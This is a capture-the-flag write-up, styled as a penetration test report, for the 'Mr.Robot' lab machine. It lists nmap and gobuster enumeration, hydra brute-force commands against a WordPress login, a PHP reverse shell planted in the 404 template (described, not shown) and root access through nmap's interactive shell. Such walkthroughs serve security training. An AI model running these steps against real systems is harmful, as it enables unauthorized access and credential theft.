Penetration Testing Report

Target Machine: Mr.Robot
IP Address: 10.10.76.220
Objective: Identify vulnerabilities, gain unauthorized access, and escalate privileges.

Step 1 – Port Scanning & Service Enumeration

Initial scanning was performed to identify open ports, followed by service enumeration.

Command	Description
nmap -p- 10.10.76.220	Full port scan to discover open ports
nmap -sV -p22,80,443 10.10.76.220	Service version detection on discovered ports

OUTPUT:

- 22/tcp – OpenSSH
- 80/tcp – HTTP (Web server)
- 443/tcp – HTTPS

Step 2 – Directory Enumeration

Adirectory bruteforce scan wasconductedto discover hidden directories.

Command: gobuster dir -u http://10.10.76.220 -w /usr/share/wordlists/dirb/common.txt

Discovered Directories:
- /admin
- /robot
- /wp-login

Step 3 – /robot Directory Investigation

Under the /robot directory, I found the file key-1-of-3.txt, which contained the first key. Additionally, I discovered a .dic wordlist file within the same directory and copied it to my local machine for further use.

Step 4 – Brute Force Attack

Usingthediscoveredwordlist,abruteforce attack was performed on the /wp-login.php page.

Commands:
hydra -L wordlist.txt -p test 10.10.76.220 http-post-form
"/wp-login.php:log=^USER^&pwd;=^PWD^:Invalid username" -t 30
hydra -l Elliot -P wordlist.txt 10.10.76.220 http-post-form
"/wp-login.php:log=^USER^&pwd;=^PWD^:The password you entered for the username" -t 30

Result: Username and password successfully obtained.

Step 5 – Reverse Shell PHP Upload

With theobtained credentials, access totheadmin panel was gained. A PHP reverse shell payload was uploaded via the 404 error page configuration. The payload executes upon triggering any 404 page.

Step 6 – Obtaining the Second Key

Throughthereverseshellconnection,thefollowingcommand was executed to retrieve the second key:

Command: cat /home/robot/key-2-of-3.txt

Step 7 – Privilege Escalation

SUIDbinarieswereenumerated toidentify privilege escalation vectors.

Command: find / -perm +6000 2>/dev/null | grep '/bin/'

Output: /usr/local/bin/nmap

Command:

$ /usr/local/bin/nmap --interactive

$!sh

We now have root privileges, and the third key is located at /root/key-3-of-3.txt.